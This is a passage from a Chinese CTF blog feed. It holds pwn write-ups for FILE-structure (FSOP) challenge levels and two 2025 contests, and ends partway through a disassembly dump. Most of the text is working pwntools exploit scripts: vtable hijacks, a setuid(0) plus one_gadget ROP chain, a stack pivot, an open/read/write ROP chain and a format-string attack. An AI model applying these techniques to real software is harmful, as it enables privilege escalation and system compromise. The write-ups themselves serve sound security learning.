    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def write_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def open_flag():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_flag&quot;)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x150)
    payload = flat(fp.struntil(&quot;_flags2&quot;))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), &quot;little&quot;) - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x140)
    fp_ptr = int.from_bytes(target.recv(0x8), &quot;little&quot;)

    target.success(f&quot;libc: {hex(libc)}&quot;)
    target.success(f&quot;fp: {hex(fp_ptr)}&quot;)

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym[&quot;win&quot;]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input(&quot;DEBUG&quot;)
    write_file(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 19&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to arbitrarily read/write data or hijack control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;笑死了，说明我上一题是非预期解，咋一看和上题没啥区别啊，删了点功能而已，但是被删的功能我一个也没用上，测试直接用上题一样的 exp，通了……&lt;/p&gt;
&lt;p&gt;所以这题的耗时大概是 30s，&lt;s&gt;这 30s 是我和 IDA 姐姐谈心的时间（bushi&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level19&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def write_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def open_flag():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_flag&quot;)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x150)
    payload = flat(fp.struntil(&quot;_flags2&quot;))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), &quot;little&quot;) - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x140)
    fp_ptr = int.from_bytes(target.recv(0x8), &quot;little&quot;)

    target.success(f&quot;libc: {hex(libc)}&quot;)
    target.success(f&quot;fp: {hex(fp_ptr)}&quot;)

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym[&quot;win&quot;]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input(&quot;DEBUG&quot;)
    write_file(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 20&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply various FILE struct exploits to obtain a leak, then hijack hijack control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;别告诉我我打了两道非预期 o_O&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level20&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def write_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def open_flag():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_flag&quot;)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x270)
    payload = flat(fp.struntil(&quot;_flags2&quot;))

    write_fp(payload)

    new_note(0, 0x10)
    raw_input(&quot;DEBUG&quot;)
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), &quot;little&quot;) - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x260)
    fp_ptr = int.from_bytes(target.recv(0x8), &quot;little&quot;)

    target.success(f&quot;libc: {hex(libc)}&quot;)
    target.success(f&quot;fp: {hex(fp_ptr)}&quot;)

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym[&quot;win&quot;]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input(&quot;DEBUG&quot;)
    write_file(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 21&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这才是真正的 FSOP。程序正常返回，或 &lt;code&gt;abort&lt;/code&gt; 或 &lt;code&gt;exit&lt;/code&gt; 后都会调用 &lt;code&gt;_IO_flush_all_lockp&lt;/code&gt;，它会刷新 &lt;code&gt;_IO_list_all&lt;/code&gt; 中的每一个结构体，调用其 vatble 指向的函数。这道题只会刷新 &lt;code&gt;stderr&lt;/code&gt;（因为程序关闭了 &lt;code&gt;stdout&lt;/code&gt; 和 &lt;code&gt;stdin&lt;/code&gt;），然后调用 &lt;code&gt;stderr&lt;/code&gt; 的 vtable 指向的函数，老样子，让 vtable 去执行 &lt;code&gt;__GI__IO_wfile_overflow&lt;/code&gt;，然后它调用 &lt;code&gt;_IO_wdoallocbuf&lt;/code&gt;，之后这个东西又去调用 stderr 的 &lt;code&gt;_wide_data&lt;/code&gt; 加上某个偏移处的内容。所以我们可以直接让其调用 one_gadget，可是真的那么简单吗？&lt;/p&gt;
&lt;p&gt;注意这题是有 &lt;code&gt;SUID&lt;/code&gt; 的，直接调用 one_gadget 可以拿到 shell 但是不能 &lt;code&gt;cat /flag&lt;/code&gt;，所以我们需要一个 ROP Chain 先执行 &lt;code&gt;setuid(0)&lt;/code&gt; 然后再去执行 one_gadget。这是这题的另一处难点，因为正常只能返回到某条指令，我们控制不了后续执行的内容以及栈内容。我的解决方案是 stack pivot 到 stderr，充分利用这个结构体构造 ROP Chain，之后就能发现这题设计的真的非常巧妙，不管是多一个还是少一个字节都不行 orz&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level21&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot; is: &quot;)
    libc.address = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc.address + 0x1E8DE0
    stderr = libc.sym[&quot;_IO_2_1_stderr_&quot;]

    target.success(f&quot;libc: {hex(libc.address)}&quot;)
    target.success(f&quot;stderr: {hex(stderr)}&quot;)

    one_gadget = libc.address + 0xE3B01
    pop_rdi_ret = libc.address + 0x128B8D
    leave_ret = libc.address + 0x578C8

    fp = FileStructure()
    fp._IO_read_ptr = pop_rdi_ret
    fp._IO_read_end = 0
    fp._IO_read_base = libc.sym[&quot;setuid&quot;]
    fp._IO_write_ptr = one_gadget + 1
    fp._IO_write_base = one_gadget
    fp._lock = stderr + 0x10
    fp._wide_data = stderr - 0x48
    fp._codecvt = stderr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = leave_ret

    raw_input(&quot;DEBUG&quot;)
    target.send(bytes(fp))

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;紧赶慢赶从月垫底杀到第三，完结撒花。一共耗时……15 天 xD&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh7c7sue7.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实可以控制在七天以内解决，只是因为最近实在太懒了，基本上前期都是一天只做一道题，不管是难题还是简单题……&lt;/p&gt;
&lt;p&gt;接下来应该还有最后一个比较综合的 FSOP 利用章节，打算一周解决，然后去稍稍学点 kernel，专攻 IoT，打比赛，准备面试。呀，2 AM 了。就酱，晚安世界～&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: 第八届「强网」拟态防御国际精英挑战赛-线上预选赛</title><link>https://cubeyond.net/posts/write-ups/2025-%E7%AC%AC%E5%85%AB%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/2025-%E7%AC%AC%E5%85%AB%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81/</guid><description>第八届「强网」拟态防御国际精英挑战赛-线上预选赛 Pwn 方向部分题解。</description><pubDate>Sat, 25 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;babystack&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;拿到属于你的 shell 吧&amp;lt;br/&amp;gt;
Get your own shell&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;？&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./babystack&quot;
HOST, PORT = &quot;pwn-10ba42cde6.challenge.xctf.org.cn&quot;, 9999

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 24,
    )
    target.sendafter(b&quot;flag1:&quot;, payload)
    payload = flat(
        b&quot;B&quot; * 0xF8,
        0x1337ABC,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;flag2:&quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;flag{W528uZdUsvWbiWxqon5YLvZa8x6uo8IP}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;stack&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我不需要 libc，我猜你也可以不需要&amp;lt;br/&amp;gt;
I don&apos;t need libc, and I guess you don&apos;t need it either&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;为了「讨好」，哦不，是「迎合」，迎合 description，我用 ld……&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;printf&lt;/code&gt; 使用 rbp 定位，可以用来泄漏栈地址和其它任意地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; Attributes: bp-based frame

; int sub_401354()
sub_401354 proc near

s= byte ptr -10h

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 10h
lea     rax, [rbp+s]
mov     edx, 10h        ; n
mov     esi, 0          ; c
mov     rdi, rax        ; s
call    _memset
lea     rax, aCouldYouTellMe ; &quot;Could you tell me your name?&quot;
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+s]
mov     edx, 18h        ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+s]
mov     rsi, rax
lea     rax, format     ; &quot;Hello, %s!\n&quot;
mov     rdi, rax        ; format
mov     eax, 0
call    _printf
nop
leave
retn
; } // starts at 401354
sub_401354 endp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./pwn_patched&quot;
HOST, PORT = &quot;pwn-2229eb847f.challenge.xctf.org.cn&quot;, 9999

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    # raw_input(&quot;DEBUG&quot;)
    target.sendafter(b&quot;name?&quot;, b&quot;A&quot; * 0x10)
    target.recvuntil(b&quot;A&quot; * 0x10)
    stack = int.from_bytes(target.recv(0x6), &quot;little&quot;)
    ld = stack + 0xC0
    ret = stack + 0x20
    target.success(f&quot;stack: {hex(stack)}&quot;)

    payload = flat(
        b&quot;A&quot; * 0x60,
        ret + 0x60,
        0x4013D4,  # read
    )
    # raw_input(&quot;DEBUG&quot;)
    target.sendafter(b&quot;Any thing else?&quot;, payload)

    payload = flat(
        0x401413,  # main
        b&quot;A&quot; * 0x58,
        ld + 0x10,
        0x40139B,  # printf
    )
    target.sendline(payload)
    target.recvuntil(b&quot;Hello, &quot;)
    leaked_ld = int.from_bytes(target.recv(0x6), &quot;little&quot;) - 0x3B2E0
    target.success(f&quot;libc: {hex(leaked_ld)}&quot;)

    target.sendlineafter(b&quot;name?&quot;, b&quot;&quot;)

    flag = stack - 0xA0
    payload = flat(
        b&quot;./flag\x00\x00&quot;,
        b&quot;A&quot; * 0x60,
        # openat
        leaked_ld + 0x25E6B,  # pop rdi; ret
        -100,
        leaked_ld + 0x54DA,  # pop rsi; ret
        flag,
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
        0x101,
        0,
        0,
        leaked_ld + 0x16629,  # syscall; ret
        # read
        leaked_ld + 0x25E6B,  # pop rdi; ret
        0x3,
        leaked_ld + 0x54DA,  # pop rsi; ret
        elf.bss() + 0x500,
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
        0,
        0x1337,
        0,
        leaked_ld + 0x16629,  # syscall; ret
        # write
        leaked_ld + 0x25E6B,  # pop rdi; ret
        0x1,
        leaked_ld + 0x54DA,  # pop rsi; ret
        elf.bss() + 0x500,
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
        1,
        0x1337,
        0,
        leaked_ld + 0x16629,  # syscall; ret
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendafter(b&quot;Any thing else?&quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;flag{nfRlSH0ll0o4j4kd05IA6NJWtO8DYYSk}&lt;/code&gt;]&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: 第九届「强网杯」全国网络安全挑战赛</title><link>https://cubeyond.net/posts/write-ups/2025-%E5%BC%BA%E7%BD%91%E6%9D%AF-s9/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/2025-%E5%BC%BA%E7%BD%91%E6%9D%AF-s9/</guid><description>第九届「强网杯」全国网络安全挑战赛 Pwn 方向部分题解。</description><pubDate>Sun, 19 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;flag-market&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;flag 市场，童叟无欺&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;第一次打国赛，没想到能遇上一道我能做的题……~&lt;em&gt;呜呜呜太感动了（&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;逆向出来的代码就这么点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+Ch] [rbp-84h]
  int fd_log; // [rsp+14h] [rbp-7Ch]
  FILE *flag_stream; // [rsp+18h] [rbp-78h]
  char flag_filepath[9]; // [rsp+27h] [rbp-69h] BYREF
  char buf[16]; // [rsp+30h] [rbp-60h] BYREF
  char flag_buf[72]; // [rsp+40h] [rbp-50h] BYREF
  unsigned __int64 v10; // [rsp+88h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  init();
  strcpy(flag_filepath, &quot;/flag&quot;);
  flag_stream = fopen(flag_filepath, &quot;r&quot;);
  is_flag_open = 1;
  while ( 1 )
  {
    while ( 1 )
    {
      puts(&quot;welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit&quot;);
      memset(buf, 0, sizeof(buf));
      read(0, buf, 0x10u);
      if ( atoi(buf) != 1 )
        exit(0);
      puts(&quot;how much you want to pay?&quot;);
      memset(buf, 0, sizeof(buf));
      read(0, buf, 0x10u);
      if ( atoi(buf) == 0xFF )
        break;
      printf(&quot;You are so parsimonious!!!&quot;);
      if ( is_flag_open )
      {
        fclose(flag_stream);
        is_flag_open = 0;
      }
    }
    puts(aThankYouForPay);                      // &quot;Thank you for paying,let me give you flag: &quot;
    if ( !is_flag_open || !fgets(flag_buf, 64, flag_stream) )
      break;
    for ( i = 0; ; ++i )
    {
      if ( i &amp;gt; 64 )
      {
        puts(&quot;\nThank you for your patronage!&quot;);
        return 0;
      }
      if ( flag_buf[i] == &apos;{&apos; )
        break;
      putchar(flag_buf[i]);
      sleep(1u);
    }
    memset(flag_buf, 0, 0x40u);
    puts(a1m31mError0mSo);                      // &quot;\n\x1B[1m\x1B[31m==========error!!!========== \x1B[0m \nSorry, but maybe something wrong... \nyou can report it in user.log&quot;
    puts(&quot;opened user.log, please report:&quot;);
    memset(
      log_file_open_flags_input,                // &quot;everything is ok~&quot;
      0,
      0x100u);
    __isoc99_scanf(&quot;%s&quot;, log_file_open_flags_input);// &quot;everything is ok~&quot;
    getchar();
    fd_log = open(&quot;user.log&quot;, log_file_open_flags_input);// &quot;everything is ok~&quot;
    write(
      fd_log,
      log_file_open_flags_input,                // &quot;everything is ok~&quot;
      0x100u);
    puts(aOkNowYouCanExi);                      // &quot;OK,now you can exit or try again.&quot;
  }
  puts(&quot;something is wrong&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初看不难发现，&lt;code&gt;scanf&lt;/code&gt; 的 &lt;code&gt;%s&lt;/code&gt; 是一个很明显的无限长度输入，后面的 &lt;code&gt;open / write&lt;/code&gt; 则似乎是障眼法，因为无论哪个成立了都会导致另一个失败，并且调试发现 scanf 内部会破坏 RSI，所以 open 永远不会成功，且由于程序没有对它们的返回值做检查，所以会忽略错误继续执行，而不是 abort 。那难道就没有什么别的办法了吗？题目既然可以出出来，就一定能做……&lt;/p&gt;
&lt;p&gt;其实细看的话可以发现，上面有个 &lt;code&gt;printf&lt;/code&gt; 存在一个不怎么显眼的格式化字符串漏洞。由于 scanf 可以向 &lt;code&gt;log_file_open_flags_input&lt;/code&gt; 写入无限长度数据覆盖 &lt;code&gt;format&lt;/code&gt; 为自定义格式化字符串，因此当我们输入的金额不等于 &lt;code&gt;0xff&lt;/code&gt; 的时候就可以触发格式化字符串漏洞了。&lt;/p&gt;
&lt;p&gt;至于如何实现无限次格式化字符串，我这里是改了 &lt;code&gt;exit&lt;/code&gt; 的 got entry 为 main 函数地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.data:00000000004040A0 ; ===========================================================================
.data:00000000004040A0
.data:00000000004040A0 ; Segment type: Pure data
.data:00000000004040A0 ; Segment permissions: Read/Write
.data:00000000004040A0 _data           segment align_32 public &apos;DATA&apos; use64
.data:00000000004040A0                 assume cs:_data
.data:00000000004040A0                 ;org 4040A0h
.data:00000000004040A0                 align 40h
.data:00000000004040C0 ; int log_file_open_flags_input
.data:00000000004040C0 log_file_open_flags_input db &apos;everything is ok~&apos;,0
.data:00000000004040C0                                         ; DATA XREF: main+245↑o
.data:00000000004040C0                                         ; main+254↑o ...
.data:00000000004040D2                 db    0
.data:00000000004040D3                 db    0
.data:00000000004040D4                 db    0
.data:00000000004040D5                 db    0
.data:00000000004040D6                 db    0
.data:00000000004040D7                 db    0
.data:00000000004040D8                 db    0
.data:00000000004040D9                 db    0
.data:00000000004040DA                 db    0
.data:00000000004040DB                 db    0
.data:00000000004040DC                 db    0
.data:00000000004040DD                 db    0
.data:00000000004040DE                 db    0
.data:00000000004040DF                 db    0
.data:00000000004040E0                 db    0
.data:00000000004040E1                 db    0
.data:00000000004040E2                 db    0
.data:00000000004040E3                 db    0
.data:00000000004040E4                 db    0
.data:00000000004040E5                 db    0
.data:00000000004040E6                 db    0
.data:00000000004040E7                 db    0
.data:00000000004040E8                 db    0
.data:00000000004040E9                 db    0
.data:00000000004040EA                 db    0
.data:00000000004040EB                 db    0
.data:00000000004040EC                 db    0
.data:00000000004040ED                 db    0
.data:00000000004040EE                 db    0
.data:00000000004040EF                 db    0
.data:00000000004040F0                 db    0
.data:00000000004040F1                 db    0
.data:00000000004040F2                 db    0
.data:00000000004040F3                 db    0
.data:00000000004040F4                 db    0
.data:00000000004040F5                 db    0
.data:00000000004040F6                 db    0
.data:00000000004040F7                 db    0
.data:00000000004040F8                 db    0
.data:00000000004040F9                 db    0
.data:00000000004040FA                 db    0
.data:00000000004040FB                 db    0
.data:00000000004040FC                 db    0
.data:00000000004040FD                 db    0
.data:00000000004040FE                 db    0
.data:00000000004040FF                 db    0
.data:0000000000404100                 db    0
.data:0000000000404101                 db    0
.data:0000000000404102                 db    0
.data:0000000000404103                 db    0
.data:0000000000404104                 db    0
.data:0000000000404105                 db    0
.data:0000000000404106                 db    0
.data:0000000000404107                 db    0
.data:0000000000404108                 db    0
.data:0000000000404109                 db    0
.data:000000000040410A                 db    0
.data:000000000040410B                 db    0
.data:000000000040410C                 db    0
.data:000000000040410D                 db    0
.data:000000000040410E                 db    0
.data:000000000040410F                 db    0
.data:0000000000404110                 db    0
.data:0000000000404111                 db    0
.data:0000000000404112                 db    0
.data:0000000000404113                 db    0
.data:0000000000404114                 db    0
.data:0000000000404115                 db    0
.data:0000000000404116                 db    0
.data:0000000000404117                 db    0
.data:0000000000404118                 db    0
.data:0000000000404119                 db    0
.data:000000000040411A                 db    0
.data:000000000040411B                 db    0
.data:000000000040411C                 db    0
.data:000000000040411D                 db    0
.data:000000000040411E                 db    0
.data:000000000040411F                 db    0
.data:0000000000404120                 db    0
.data:0000000000404121                 db    0
.data:0000000000404122                 db    0
.data:0000000000404123                 db    0
.data:0000000000404124                 db    0
.data:0000000000404125                 db    0
.data:0000000000404126                 db    0
.data:0000000000404127                 db    0
.data:0000000000404128                 db    0
.data:0000000000404129                 db    0
.data:000000000040412A                 db    0
.data:000000000040412B                 db    0
.data:000000000040412C                 db    0
.data:000000000040412D                 db    0
.data:000000000040412E                 db    0
.data:000000000040412F                 db    0
.data:0000000000404130                 db    0
.data:0000000000404131                 db    0
.data:0000000000404132                 db    0
.data:0000000000404133                 db    0
.data:0000000000404134                 db    0
.data:0000000000404135                 db    0
.data:0000000000404136                 db    0
.data:0000000000404137                 db    0
.data:0000000000404138                 db    0
.data:0000000000404139                 db    0
.data:000000000040413A                 db    0
.data:000000000040413B                 db    0
.data:000000000040413C                 db    0
.data:000000000040413D                 db    0
.data:000000000040413E                 db    0
.data:000000000040413F                 db    0
.data:0000000000404140                 db    0
.data:0000000000404141                 db    0
.data:0000000000404142                 db    0
.data:0000000000404143                 db    0
.data:0000000000404144                 db    0
.data:0000000000404145                 db    0
.data:0000000000404146                 db    0
.data:0000000000404147                 db    0
.data:0000000000404148                 db    0
.data:0000000000404149                 db    0
.data:000000000040414A                 db    0
.data:000000000040414B                 db    0
.data:000000000040414C                 db    0
.data:000000000040414D                 db    0
.data:000000000040414E                 db    0
.data:000000000040414F                 db    0
.data:0000000000404150                 db    0
.data:0000000000404151                 db    0
.data:0000000000404152                 db    0
.data:0000000000404153                 db    0
.data:0000000000404154                 db    0
.data:0000000000404155                 db    0
.data:0000000000404156                 db    0
.data:0000000000404157                 db    0
.data:0000000000404158                 db    0
.data:0000000000404159                 db    0
.data:000000000040415A                 db    0
